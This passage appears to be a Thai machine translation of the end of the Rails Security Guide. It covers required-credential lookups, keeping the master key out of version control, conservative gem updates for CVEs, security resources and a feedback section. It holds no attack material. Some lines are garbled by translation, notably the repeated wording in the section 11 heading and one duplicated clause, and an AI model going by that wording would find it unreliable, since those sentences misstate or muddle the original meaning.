หากคุณต้องการให้เกิดข้อยกเว้นเมื่อคีย์บางอย่างว่างเปล่า คุณสามารถใช้รุ่นแบงค์ได้:
# เมื่อ some_api_key เป็นค่าว่างเปล่า...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank
เคล็ดลับ: เรียนรู้เพิ่มเติมเกี่ยวกับข้อมูลรับรองด้วย bin/rails credentials:help
คำเตือน: ให้เก็บ master key ของคุณไว้ให้ปลอดภัย อย่าเก็บ master key ในระบบเวอร์ชัน
11 การจัดการขึ้นอยู่กับการขึ้นอยู่กับการจัดการและ CVEs
เราไม่ได้เพิ่มขึ้นเพื่อส่งเสริมการใช้เวอร์ชันใหม่ รวมถึงปัญหาด้านความปลอดภัย นี่เพราะเจ้าของแอปพลิเคชันต้องอัปเดตเจ้าของแอปพลิเคชันต้องอัปเดตแพคเกจของตนเองด้วยตนเองโดยไม่คำนึงถึงความพยายามของเรา ใช้ bundle update --conservative gem_name
เพื่ออัปเดตแพคเกจที่มีช่องโหว่อย่างปลอดภัย
12 ทรัพยากรเพิ่มเติม
ภูมิทัศน์ด้านความปลอดภัยเปลี่ยนแปลงได้และสำคัญที่จะอัปเดตเพราะการพลาดข้อบกพร่องใหม่อาจเกิดความหายนะ คุณสามารถค้นหาทรัพยากรเพิ่มเติมเกี่ยวกับความปลอดภัย (Rails) ได้ที่นี่: * สมัครสมาชิกใน mailing list ของ Rails security * Brakeman - Rails Security Scanner - เพื่อทำการวิเคราะห์ความปลอดภัยแบบสถิตสำหรับแอปพลิเคชัน Rails * Mozilla's Web Security Guidelines - แนะนำเกี่ยวกับเนื้อหาที่เกี่ยวข้องกับ Content Security Policy, HTTP headers, Cookies, การกำหนดค่า TLS, ฯลฯ * บล็อกความปลอดภัยที่ดี รวมถึง Cross-Site scripting Cheat Sheet
ข้อเสนอแนะ
คุณสามารถช่วยปรับปรุงคุณภาพของคู่มือนี้ได้
กรุณาช่วยเพิ่มเติมหากพบข้อผิดพลาดหรือข้อผิดพลาดทางความจริง เพื่อเริ่มต้นคุณสามารถอ่านส่วน การสนับสนุนเอกสาร ของเราได้
คุณอาจพบเนื้อหาที่ไม่สมบูรณ์หรือเนื้อหาที่ไม่ได้อัปเดต กรุณาเพิ่มเอกสารที่ขาดหายไปสำหรับเนื้อหาหลัก โปรดตรวจสอบ Edge Guides ก่อนเพื่อตรวจสอบ ว่าปัญหาได้รับการแก้ไขหรือไม่ในสาขาหลัก ตรวจสอบ คู่มือแนวทาง Ruby on Rails เพื่อดูรูปแบบและกฎเกณฑ์
หากคุณพบข้อผิดพลาดแต่ไม่สามารถแก้ไขได้เอง กรุณา เปิดปัญหา.
และสุดท้าย การสนทนาใด ๆ เกี่ยวกับ Ruby on Rails เอกสารยินดีต้อนรับที่สุดใน เว็บบอร์ดอย่างเป็นทางการของ Ruby on Rails.